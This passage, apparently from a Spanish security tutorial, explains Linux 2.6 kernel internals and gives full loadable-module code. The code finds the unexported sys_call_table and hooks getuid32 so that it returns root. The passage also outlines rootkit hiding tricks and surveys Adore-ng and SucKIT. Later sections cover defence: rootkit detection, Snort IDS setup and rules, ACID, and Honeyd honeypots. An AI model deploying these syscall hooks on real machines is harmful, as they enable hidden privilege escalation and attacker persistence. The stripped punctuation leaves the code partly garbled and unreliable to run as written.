Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod
8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x
Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo
Encontrando la Sys_call_table[]
Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave
Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema
Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT
Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa
Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario
Kernel hacks y seguridad JMP
Resumiendo
Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)
El hack
Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma
usrsrclinuxarchi386kernelentryS
Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo
system call handler stub
1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw
$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)
6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]
He omitido algunos comentario del fichero y demaacutes por brevedad
Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar
Esto es parte de su contenido
Kernel hacks y seguridad JMP
data ENTRY(sys_call_table)
long sys_restart_syscall 0 - old setup() system call
long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve
long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek
long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access
long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall
y continuacutea
used for restarting
5
10
15
old break syscall holder
20
25
30 old stty syscall holder old gtty syscall holder
35 - old ftime syscall holder
40
old prof syscall holder 45
50
recycled never used phys() old lock syscall holder
Kernel hacks y seguridad JMP
Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente
Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos
Procedo a usar GDB para desensamblar el fichero como muestro en la figura
Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table
Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump
objdump -d entryo|grep ff 14 85
Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos
El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero
Kernel hacks y seguridad JMP
Obtenemos la sys_call_table[] en kernels de la serie 26 test
include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct
unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2
__attribute__ ((packed)) idt
IDTR struct
unsigned short limit unsigned int base
__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)
return 0 el hack static void syscalltable(void)
unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))
printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]
memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn
verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))
i++ sys_call_table =(void) ((int ) ampsccall[i+3])
printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P
Kernel hacks y seguridad JMP
empieza static int __init buscarsct(void)
printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)
syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]
sys_call_table[__NR_getuid32]=cero_uidreturn 0
lo ponemos todo en orden static void __exit descarga(void)
sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)
module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])
Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores
81- Otra alternativa iquestmaacutes sencilla
Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos
No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno
La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora
Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos
usrsrclinuxincludeasm $ vim processorh
Kernel hacks y seguridad JMP
1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la
Sys_call_table[])
Kernel hacks y seguridad JMP
Imagen conceptual del proceso
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
